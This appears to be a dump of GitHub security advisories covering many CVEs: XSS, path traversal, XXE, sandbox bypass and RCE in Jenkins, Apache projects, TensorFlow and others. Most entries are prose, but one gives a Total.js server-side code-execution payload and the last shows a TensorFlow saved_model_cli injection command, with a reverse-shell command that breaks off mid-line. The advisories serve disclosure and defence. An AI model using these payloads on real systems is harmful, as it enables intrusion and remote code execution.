aswin1906/github-advisory-2022 huggingface dataset:
ChakraCore RCE Vulnerability
Advisory: GHSA-6p7q-85qq-7c43
Aliases: CVE-2017-0234
Published: 2022-05-17T02:35:00Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

A remote code execution vulnerability exists in Microsoft Edge in the way that the Chakra JavaScript engine renders when handling objects in memory, aka "Scripting Engine Memory Corruption Vulnerability." This CVE ID is unique from CVE-2017-0224, CVE-2017-0228, CVE-2017-0229, CVE-2017-0230, CVE-2017-0235, CVE-2017-0236, and CVE-2017-0238.
Stored XSS in LavaLite 5.5
Advisory: GHSA-pxxp-283v-xpq5
Aliases: CVE-2018-16551
Published: 2022-05-13T01:31:09Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

LavaLite 5.5 has XSS via a `/edit` URI, as demonstrated by `client/job/job/Zy8PWBekrJ/edit`.
Improper Limitation of a Pathname to a Restricted Directory in Apache ActiveMQ
Advisory: GHSA-3v63-f83x-37x4
Aliases: CVE-2015-1830
Published: 2022-05-14T01:14:51Z

Directory traversal vulnerability in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.
Cross-site Scripting in Apache Sling XSS Protection API
Advisory: GHSA-7mfw-43c4-45mq
Aliases: CVE-2017-15717
Published: 2022-05-14T03:46:36Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A flaw in the way URLs are escaped and encoded in the org.apache.sling.xss.impl.XSSAPIImpl#getValidHref and org.apache.sling.xss.impl.XSSFilterImpl#isValidHref allows special crafted URLs to pass as valid, although they carry XSS payloads. The affected versions are Apache Sling XSS Protection API 1.0.4 to 1.0.18, Apache Sling XSS Protection API Compat 1.1.0 and Apache Sling XSS Protection API 2.0.0.
Improper Limitation of a Pathname to a Restricted Directory in Zip4j
Advisory: GHSA-2rpm-4x8c-pvqg
Aliases: CVE-2018-1002202
Published: 2022-05-13T01:35:04Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

zip4j before 1.3.3 is vulnerable to directory traversal, allowing attackers to write to arbitrary files via a ../ (dot dot slash) in a Zip archive entry that is mishandled during extraction. This vulnerability is also known as 'Zip-Slip'.
Elefant CMS CSRF Vulnerability
Advisory: GHSA-79m2-h67v-35q7
Aliases: CVE-2018-16387
Published: 2022-05-14T02:19:18Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

An issue was discovered in Elefant CMS before 2.0.5. There is a CSRF vulnerability that can add an account via user/add.
Race Condition in Grunt
Advisory: GHSA-rm36-94g8-835r
Aliases: CVE-2022-1537
Published: 2022-05-11T00:01:37Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

file.copy operations in GruntJS are vulnerable to a TOCTOU race condition leading to arbitrary file write in GitHub repository gruntjs/grunt prior to 1.5.3. This vulnerability is capable of arbitrary file writes which can lead to local privilege escalation to the GruntJS user if a lower-privileged user has write access to both source and destination directories as the lower-privileged user can create a symlink to the GruntJS user's .bashrc file or replace /etc/shadow file if the GruntJS user is root.
JRuby denial of service via Hash Collision
Advisory: GHSA-fmmq-j7pq-f85c
Aliases: CVE-2012-5370
Published: 2022-05-17T04:17:07Z

JRuby computes hash values without properly restricting the ability to trigger hash collisions predictably, which allows context-dependent attackers to cause a denial of service (CPU consumption) via crafted input to an application that maintains a hash table, as demonstrated by a universal multicollision attack against the MurmurHash2 algorithm, a different vulnerability than CVE-2011-4838.
Keycloak Oauth Implementation Error
Advisory: GHSA-qc72-gfvw-76h7
Aliases: CVE-2017-12160
Published: 2022-05-13T01:23:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

It was found that Keycloak oauth would permit an authenticated resource to obtain an access/refresh token pair from the authentication server, permitting indefinite usage in the case of permission revocation. An attacker on an already compromised resource could use this flaw to grant himself continued permissions and possibly conduct further attacks.
TDQM Arbitrary Code Execution
Advisory: GHSA-r7q7-xcjw-qx8q
Aliases: CVE-2016-10075
Published: 2022-05-14T02:19:48Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The tqdm._version module in tqdm versions 4.4.1 and 4.10 allows local users to execute arbitrary code via a crafted repo with a malicious git log in the current working directory.
Improper Control of Generation of Code in Jenkins Script Security Plugin
Advisory: GHSA-72gx-qq2m-6xr2
Aliases: CVE-2019-10431
Published: 2022-05-24T16:57:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A sandbox bypass vulnerability in Jenkins Script Security Plugin 1.64 and earlier related to the handling of default parameter expressions in constructors allowed attackers to execute arbitrary code in sandboxed scripts.
CoreFTP Directory Traversal
Advisory: GHSA-w393-h95m-f879
Aliases: CVE-2019-9648
Published: 2022-05-14T00:52:11Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a `\..\..\` substring, allowing an attacker to enumerate file existence based on the returned information.
Apache Struts vulnerable to Improper Input Validation
Advisory: GHSA-vf8g-mpmw-qv87
Aliases: CVE-2006-1546
Published: 2022-05-01T06:50:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Apache Software Foundation (ASF) Struts before 1.2.9 allows remote attackers to bypass validation via a request with a 'org.apache.struts.taglib.html.Constants.CANCEL' parameter, which causes the action to be canceled but would not be detected from applications that do not use the isCancelled check.
XXE vulnerability in Jenkins Klocwork Analysis Plugin
Advisory: GHSA-p6c5-737r-2r93
Aliases: CVE-2020-2247
Published: 2022-05-24T17:27:07Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Klocwork Analysis Plugin 2020.2.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows a user able to control the input files for the Klocwork plugin parser to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.
OpenStack Neutron Improper Input Validation vulnerability
Advisory: GHSA-wf44-4mgj-rwvx
Aliases: CVE-2015-3221
Published: 2022-05-14T02:19:50Z

OpenStack Neutron before 2014.2.4 (juno) and 2015.1.x before 2015.1.1 (kilo), when using the IPTables firewall driver, allows remote authenticated users to cause a denial of service (L2 agent crash) by adding an address pair that is rejected by the ipset tool.
ember-source Cross-site Scripting vulnerability
Advisory: GHSA-rcx6-7jp6-pqf2
Aliases: CVE-2014-0014
Published: 2022-05-14T02:21:24Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Ember.js 1.0.x before 1.0.1, 1.1.x before 1.1.3, 1.2.x before 1.2.1, 1.3.x before 1.3.1, and 1.4.x before 1.4.0-beta.2 allows remote attackers to conduct cross-site scripting (XSS) attacks by leveraging an application using the `{{group}}` Helper and a crafted payload.
Drupal Open Redirect
Advisory: GHSA-wwrm-8947-4m6c
Aliases: CVE-2012-1589
Published: 2022-05-17T04:56:42Z

Open redirect vulnerability in the Form API in Drupal 7.x before 7.13 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via crafted parameters in a destination URL.
Arbitrary file write in NumPy
Advisory: GHSA-cw6w-4rcx-xphc
Aliases: CVE-2014-1858
Published: 2022-05-14T03:48:04Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

__init__.py in f2py in NumPy before 1.8.1 allows local users to write to arbitrary files via a symlink attack on a temporary file.
Weak Cryptography in PHP-Proxy
Advisory: GHSA-4wgf-9x5r-p938
Aliases: CVE-2018-19784
Published: 2022-05-13T01:50:53Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

The [str_rot_pass](https://github.com/Athlon1600/php-proxy/blob/9cc42804ddafa079b86b947e4dd83852edddffca/src/helpers.php#L66) function in vendor/atholn1600/php-proxy/src/helpers.php in PHP-Proxy 5.1.0 uses weak cryptography, which makes it easier for attackers to calculate the authorization data needed for local file inclusion.
Missing permission check for paths with specific prefix in Jenkins
Advisory: GHSA-4625-q52w-39cx
Aliases: CVE-2021-21609
Published: 2022-05-24T17:39:12Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Jenkins includes a static list of URLs that are always accessible even without Overall/Read permission, such as the login form. These URLs are excluded from an otherwise universal permission check.

Jenkins 2.274 and earlier, LTS 2.263.1 and earlier does not correctly compare requested URLs with that list.

This allows attackers without Overall/Read permission to access plugin-provided URLs with any of the following prefixes if no other permissions are required:
- `accessDenied`
- `error`
- `instance-identity`
- `login`
- `logout`
- `oops`
- `securityRealm`
- `signup`
- `tcpSlaveAgentListener`

For example, a plugin contributing the path `loginFoo/` would have URLs in that space accessible without the default Overall/Read permission check.

The Jenkins security team is not aware of any affected plugins as of the publication of this advisory.

The comparison of requested URLs with the list of always accessible URLs has been fixed to only allow access to the specific listed URLs in Jenkins 2.275, LTS 2.263.2.

In case this change causes problems, additional paths can be made accessible without Overall/Read permissions: The [Java system property](https://www.jenkins.io/doc/book/managing/system-properties/) `jenkins.model.Jenkins.additionalReadablePaths` is a comma-separated list of additional path prefixes to allow access to.
Apache NiFi XSS issue in context path handling
Advisory: GHSA-29ph-fjf3-c5cm
Aliases: CVE-2017-15697
Published: 2022-05-14T03:45:22Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A malicious `X-ProxyContextPath` or `X-Forwarded-Context` header containing external resources or embedded code could cause remote code execution. The fix to properly handle these headers was applied on the Apache NiFi 1.5.0 release. Users running a prior 1.x release should upgrade to the appropriate release.
MutexGuard::map can cause a data race in safe code
Advisory: GHSA-rh4w-94hh-9943
Aliases: CVE-2020-35905
Published: 2022-05-24T17:37:49Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Affected versions of the crate had a Send/Sync implementation for MappedMutexGuard that only considered variance on T, while MappedMutexGuard dereferenced to U.

This could of led to data races in safe Rust code when a closure used in MutexGuard::map() returns U that is unrelated to T.

The issue was fixed by fixing Send and Sync implementations, and by adding a PhantomData<&'a mut U> marker to the MappedMutexGuard type to tell the compiler that the guard is over U too.
move_elements can double-free objects on panic
Advisory: GHSA-3qm2-rfqw-fmrw
Aliases: CVE-2021-28031
Published: 2022-05-24T17:43:48Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected versions of scratchpad used ptr::read to read elements while calling a user provided function f on them. Since the pointer read duplicates ownership, a panic inside the user provided f function could cause a double free when unwinding.

The flaw was fixed in commit `891561bea` by removing the unsafe block and using a plain iterator.
Apache OpenMeetings RCE
Advisory: GHSA-6cpg-3w7f-j67q
Aliases: CVE-2016-8736
Published: 2022-05-14T01:29:42Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Apache OpenMeetings before 3.1.2 is vulnerable to Remote Code Execution via RMI deserialization attack.
Uncontrolled Resource Consumption in pyftpdlib
Advisory: GHSA-8gv6-x88p-3f6h
Aliases: CVE-2009-5013
Published: 2022-05-02T04:00:27Z

Memory leak in the on_dtp_close function in ftpserver.py in pyftpdlib before 0.5.2 allows remote authenticated users to cause a denial of service (memory consumption) by sending a QUIT command during a data transfer.
EnvoyProxy Envoy Missing HTTP URL path normalization
Advisory: GHSA-2wmf-p7f8-w42h
Aliases: CVE-2019-9901
Published: 2022-05-24T16:44:38Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Envoy 1.9.0 and before does not normalize HTTP URL paths. A remote attacker may craft a relative path, e.g., `something/../admin`, to bypass access control, e.g., a block on `/admin`. A backend server could then interpret the non-normalized path and provide an attacker access beyond the scope provided for by the access control policy.
phpMyAdmin Implementation XSS Vulnerability on Server Monitor Page
Advisory: GHSA-pvr5-84gr-g985
Aliases: CVE-2014-8326
Published: 2022-05-14T02:05:34Z

Multiple cross-site scripting (XSS) vulnerabilities in phpMyAdmin 4.0.x before 4.0.10.5, 4.1.x before 4.1.14.6, and 4.2.x before 4.2.10.1 allow remote authenticated users to inject arbitrary web script or HTML via a crafted (1) database name or (2) table name, related to the `libraries/DatabaseInterface.class.php` code for SQL debug output and the `js/server_status_monitor.js` code for the server monitor page.
Exposure of sensitive information in Anchore Container Image Scanner Jenkins Plugin
Advisory: GHSA-w9v7-7mq5-p27c
Aliases: CVE-2018-1999033
Published: 2022-05-13T01:30:26Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

An exposure of sensitive information vulnerability exists in Jenkins Anchore Container Image Scanner Plugin 10.16 and earlier in AnchoreBuilder.java that allows attackers with Item/ExtendedRead permission or file system access to the Jenkins master to obtain the password stored in this plugin's configuration.
Total.js CMS RCE Vulnerability
Advisory: GHSA-v287-9w3v-x5c5
Aliases: CVE-2019-15954
Published: 2022-05-24T16:55:31Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An issue was discovered in Total.js CMS 12.0.0. An authenticated user with the widgets privilege can gain achieve Remote Command Execution (RCE) on the remote server by creating a malicious widget with a special tag containing JavaScript code that will be evaluated server side. In the process of evaluating the tag by the back-end, it is possible to escape the sandbox object by using the following payload: `<script total>global.process.mainModule.require(child_process).exec(RCE);</script>`
Phusion Passenger SpawningKit Contains Arbitrary Read/Write Vulnerability
Advisory: GHSA-7cv3-gvmc-8mq5
Aliases: CVE-2018-12026
Published: 2022-05-14T01:27:14Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

During the spawning of a malicious Passenger-managed application, SpawningKit in Phusion Passenger 5.3.x before 5.3.2 allows such applications to replace key files or directories in the spawning communication directory with symlinks. This then could result in arbitrary reads and writes, which in turn can result in information disclosure and privilege escalation.
Cross site scripting in Crafter CMS
Advisory: GHSA-38rq-rh9w-cmw6
Aliases: CVE-2017-15682
Published: 2022-05-24T17:34:59Z

In Crafter CMS Crafter Studio 3.0.1 an unauthenticated attacker is able to inject malicious JavaScript code resulting in a stored/blind XSS in the admin panel.
RubyGems Path Traversal vulnerability
Advisory: GHSA-8qxg-mff5-j3wc
Aliases: CVE-2018-1000079
Published: 2022-05-14T01:54:40Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series: 2.3.6 and earlier, Ruby 2.4 series: 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and earlier, prior to trunk revision 62422 contains a Directory Traversal vulnerability in gem installation that can result in the gem writing to arbitrary filesystem locations during installation. This attack appears to be exploitable via installation of a malicious gem. This vulnerability is fixed in 2.7.6.
Phusion Passenger incorrect permission assignment
Advisory: GHSA-4284-jfhc-f854
Aliases: CVE-2018-12615
Published: 2022-05-13T01:49:37Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

An issue was discovered in switchGroup() in agent/ExecHelper/ExecHelperMain.cpp in Phusion Passenger before 5.3.2. The set of groups (gidset) is not set correctly, leaving it up to randomness (i.e., uninitialized memory) which supplementary groups are actually being set while lowering privileges.
Improper input validation in pyftpdlib
Advisory: GHSA-8p2c-fghc-9hj4
Aliases: CVE-2008-7264
Published: 2022-05-17T05:47:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

The ftp_QUIT function in ftpserver.py in pyftpdlib before 0.5.0 allows remote authenticated users to cause a denial of service (file descriptor exhaustion and daemon outage) by sending a QUIT command during a disallowed data-transfer attempt.
Improper authorization in Jenkins Job and Node Ownership Plugin
Advisory: GHSA-72x3-c7jc-q35x
Aliases: CVE-2018-1000107
Published: 2022-05-13T01:48:31Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

An improper authorization vulnerability exists in Jenkins Job and Node Ownership Plugin 0.11.0 and earlier in 
```
OwnershipDescription.java, 
JobOwnerJobProperty.java, 
and OwnerNodeProperty.java 
```
that allow an attacker with Job/Configure or Computer/Configure permission and without Ownership related permissions to override ownership metadata.
Moodle Improper Privilege Management
Advisory: GHSA-jjhx-5jff-rc8m
Aliases: CVE-2017-7532
Published: 2022-05-13T01:47:00Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

In Moodle 3.x, course creators are able to change system default settings for courses.
Path Traversal in Jenkins
Advisory: GHSA-x646-m7x2-gcp7
Aliases: CVE-2018-1000194
Published: 2022-05-13T01:01:01Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

A path traversal vulnerability exists in Jenkins 2.120 and older, LTS 2.107.2 and older in FilePath.java, SoloFilePathFilter.java that allows malicious agents to read and write arbitrary files on the Jenkins master, bypassing the agent-to-master security subsystem protection.
Matrix Synapse DoS
Advisory: GHSA-vmcc-4p4x-x7wg
Aliases: CVE-2018-10657
Published: 2022-05-14T03:20:03Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Matrix Synapse before 0.28.1 is prone to a denial of service flaw where malicious events injected with depth = 2<sup>63</sup> - 1 render rooms unusable, related to `federation/federation_base.py` and `handlers/message.py`, as exploited in the wild in April 2018.
Improper Restriction of XML External Entity Reference in PMD
Advisory: GHSA-57qj-79gh-69w8
Aliases: CVE-2019-7722
Published: 2022-05-14T01:33:06Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

PMD 5.8.1 and earlier processes XML external entities in ruleset files it parses as part of the analysis process, allowing attackers tampering it (either by direct modification or MITM attacks when using remote rulesets) to perform information disclosure, denial of service, or request forgery attacks. (PMD 6.x is unaffected because of a 2017-09-15 change.)
ChakraCore Security Bypass
Advisory: GHSA-wg47-6cqc-q52j
Aliases: CVE-2018-8276
Published: 2022-05-13T01:53:37Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

A security feature bypass vulnerability exists in the Microsoft Chakra scripting engine that allows Control Flow Guard (CFG) to be bypassed, aka "Scripting Engine Security Feature Bypass Vulnerability." This affects Microsoft Edge, ChakraCore.
Deserialization of Untrusted Data in Apache Batik
Advisory: GHSA-25gw-4pcc-45cf
Aliases: CVE-2018-8013
Published: 2022-05-13T01:14:24Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

In Apache Batik 1.x before 1.10, when deserializing subclass of `AbstractDocument`, the class takes a string from the inputStream as the class name which then use it to call the no-arg constructor of the class. Fix was to check the class type before calling newInstance in deserialization.
Apache OpenMeetings vulnerable to SQL injection
Advisory: GHSA-335g-xcjh-ghc2
Aliases: CVE-2017-7681
Published: 2022-05-17T02:28:11Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Apache OpenMeetings 1.0.0 is vulnerable to SQL injection. This allows authenticated users to modify the structure of the existing query and leak the structure of other queries being made by the application in the back-end. The issue is fixed in version 3.3.0.
Apache Ranger Access Restriction Bypass
Advisory: GHSA-22v7-w6c5-v4rr
Aliases: CVE-2016-0735
Published: 2022-05-17T03:56:54Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Apache Ranger 0.5.x before 0.5.2 allows remote authenticated users to bypass intended parent resource-level access restrictions by leveraging mishandling of a resource-level exclude policy.
Dolibarr ERP and CRM malicious executable loading
Advisory: GHSA-2rwh-262r-r85j
Aliases: CVE-2019-11200
Published: 2022-05-24T16:51:38Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Dolibarr ERP/CRM 9.0.1 provides a web-based functionality that backs up the database content to a dump file. However, the application performs insufficient checks on the export parameters to mysqldump, which can lead to execution of arbitrary binaries on the server. (Malicious binaries can be uploaded by abusing other functionalities of the application.)
Improper Certificate Validation in Microsoft .NET Framework components
Advisory: GHSA-p9wx-v264-q34p
Aliases: CVE-2018-8356
Published: 2022-05-14T03:00:10Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

A security feature bypass vulnerability exists when Microsoft .NET Framework components do not correctly validate certificates, aka ".NET Framework Security Feature Bypass Vulnerability." This affects .NET Framework 4.7.2, Microsoft .NET Framework 3.0, Microsoft .NET Framework 4.6.2/4.7/4.7.1/4.7.2, ASP.NET Core 1.1, Microsoft .NET Framework 4.5.2, ASP.NET Core 2.0, ASP.NET Core 1.0, .NET Core 1.1, Microsoft .NET Framework 3.5, Microsoft .NET Framework 3.5.1, Microsoft .NET Framework 4.6/4.6.1/4.6.2, .NET Core 1.0, .NET Core 2.0, Microsoft .NET Framework 4.6, Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.1/4.7.2, Microsoft .NET Framework 4.7.2.
Agent-to-controller access control allows reading/writing most content of build directories in Jenkins
Advisory: GHSA-cv2w-q8c3-xjv7
Aliases: CVE-2021-21697
Published: 2022-05-24T19:19:43Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

Agents are allowed some limited access to files on the Jenkins controller file system. The directories agents are allowed to access in Jenkins 2.318 and earlier, LTS 2.303.2 and earlier include the directories storing build-related information, intended to allow agents to store build-related metadata during build execution. As a consequence, this allows any agent to read and write the contents of any build directory stored in Jenkins with very few restrictions (`build.xml` and some Pipeline-related metadata).

Jenkins 2.319, LTS 2.303.3 prevents agents from accessing contents of build directories unless it’s for builds currently running on the agent attempting to access the directory.

Update [Pipeline: Nodes and Processes](https://plugins.jenkins.io/workflow-durable-task-step/) to version 2.40 or newer for Jenkins to associate Pipeline `node` blocks with the agent they’re running on for this fix.

If you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the [Remoting Security Workaround Plugin](https://www.jenkins.io/redirect/remoting-security-workaround/). It will prevent all agent-to-controller file access using `FilePath` APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.
XSS in baserCMS
Advisory: GHSA-6qjv-43mf-rgrh
Aliases: CVE-2018-0574
Published: 2022-05-14T03:06:07Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Cross-site scripting vulnerability in baserCMS (baserCMS 4.1.0.1 and earlier versions, baserCMS 3.0.15 and earlier versions) allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Sandbox bypass vulnerability in Jenkins Script Security Plugin
Advisory: GHSA-ccr8-4xr7-cgj3
Aliases: CVE-2020-2279
Published: 2022-05-24T17:29:16Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Jenkins Script Security Plugin provides a sandbox feature that allows low privileged users to define scripts, including Pipelines, that are generally safe to execute. Calls to code defined inside a sandboxed script are intercepted, and various allowlists are checked to determine whether the call is to be allowed.

In Script Security Plugin 1.75 and 1.66.5, any calls from outside a sandboxed script to code defined inside a sandboxed script were always allowed. As sandboxed scripts can communicate their results through script return values and similar mechanisms, this could result in code defined inside of a sandboxed script to be called without sandbox protection.

This vulnerability allows attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.

Script Security Plugin 1.75 and 1.66.5 will prevent code defined inside a sandbox from being invoked outside a sandboxed script.

In rare cases, invocations of sandboxed scripts may begin failing if the script return value or script binding include code defined in the sandbox and is further processed by the calling code. To resolve this issue, the affected values need to be converted inside the sandboxed script to a known safe type, such as `String`.

For compatibility with this change, the following plugins should be upgraded to the versions specified:
- [Email Extension Plugin](https://plugins.jenkins.io/email-ext) should be updated to version 2.77 or newer.
- [Warnings Next Generation Plugin](https://plugins.jenkins.io/warnings-ng) should be updated to version 8.4.3 or newer.
- [Warnings Plugin](https://plugins.jenkins.io/warnings) should be updated to version 5.0.2 or newer.
Moodle XSS Vulnerability
Advisory: GHSA-qrcj-6fjw-3h9h
Aliases: CVE-2019-3847
Published: 2022-05-13T01:05:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

A vulnerability was found in moodle before versions 3.6.3, 3.5.5, 3.4.8 and 3.1.17. Users with the "login as other users" capability (such as administrators/managers) can access other users' Dashboards, but the JavaScript those other users may have added to their Dashboard was not being escaped when being viewed by the user logging in on their behalf.
XXE vulnerability in Jenkins Generic Webhook Trigger Plugin
Advisory: GHSA-732f-w585-gmpc
Aliases: CVE-2021-21669
Published: 2022-05-24T19:05:40Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Generic Webhook Trigger Plugin 1.72 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers with the ability to call webhooks configured to extract parameters using XPath to have Jenkins parse a crafted XML request body that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Generic Webhook Trigger Plugin 1.74 disables external entity resolution for its XML parser.
ChakraCore RCE Vulnerability
Advisory: GHSA-wgw2-wwq8-c7wf
Aliases: CVE-2018-8298
Published: 2022-05-13T01:20:46Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability." This affects ChakraCore. This CVE ID is unique from CVE-2018-8242, CVE-2018-8283, CVE-2018-8287, CVE-2018-8288, CVE-2018-8291, CVE-2018-8296.
Exposure of Sensitive Information to an Unauthorized Actor in Apache Jasypt
Advisory: GHSA-r5c2-rxh2-f5h2
Aliases: CVE-2014-9970
Published: 2022-05-14T03:44:52Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

jasypt before 1.9.2 allows a timing attack against the password hash comparison.
Improper Access Control in SLF4J
Advisory: GHSA-w77p-8cfg-2x43
Aliases: CVE-2018-8088
Published: 2022-05-13T01:04:09Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

org.slf4j.ext.EventData in the slf4j-ext module in QOS.CH SLF4J before `1.8.0-beta4` allows remote attackers to bypass intended access restrictions via crafted data. EventData in the slf4j-ext module in QOS.CH SLF4J, has been fixed in SLF4J version `1.7.26` and later and in the `2.0.x` series.

Note that while the [fix commit](https://github.com/qos-ch/slf4j/commit/d2b27fba88e983f921558da27fc29b5f5d269405) is associated with the tag `1.8.0-beta3`, the versions in [Maven](https://mvnrepository.com/artifact/org.slf4j/slf4j-ext) go directly from `1.8.0-beta2` to `1.8.0-beta4`.
openshift-origin-node Improper Input Validation vulnerability
Advisory: GHSA-756m-3qf2-hp58
Aliases: CVE-2014-0084
Published: 2022-05-17T19:57:04Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Ruby gem openshift-origin-node before 2014-02-14 does not contain a cronjob timeout which could result in a denial of service in cron.daily and cron.weekly.
XML External Entity Reference in org.picketlink:picketlink-common
Advisory: GHSA-2c9q-qwrc-f486
Aliases: CVE-2014-3530
Published: 2022-05-14T03:59:54Z

The org.picketlink.common.util.DocumentUtil.getDocumentBuilderFactory method in PicketLink, as used in Red Hat JBoss Enterprise Application Platform (JBEAP) 5.2.0 and 6.2.4, expands entity references, which allows remote attackers to read arbitrary code and possibly have other unspecified impact via unspecified vectors, related to an XML External Entity (XXE) issue.
Code injection in `saved_model_cli` in TensorFlow
Advisory: GHSA-75c9-jrh4-79mc
Aliases: CVE-2022-29216
Published: 2022-05-24T22:16:48Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### Impact
TensorFlow's `saved_model_cli` tool is vulnerable to a code injection:

```
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
```

This can be used to open a reverse shell                                      

```
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
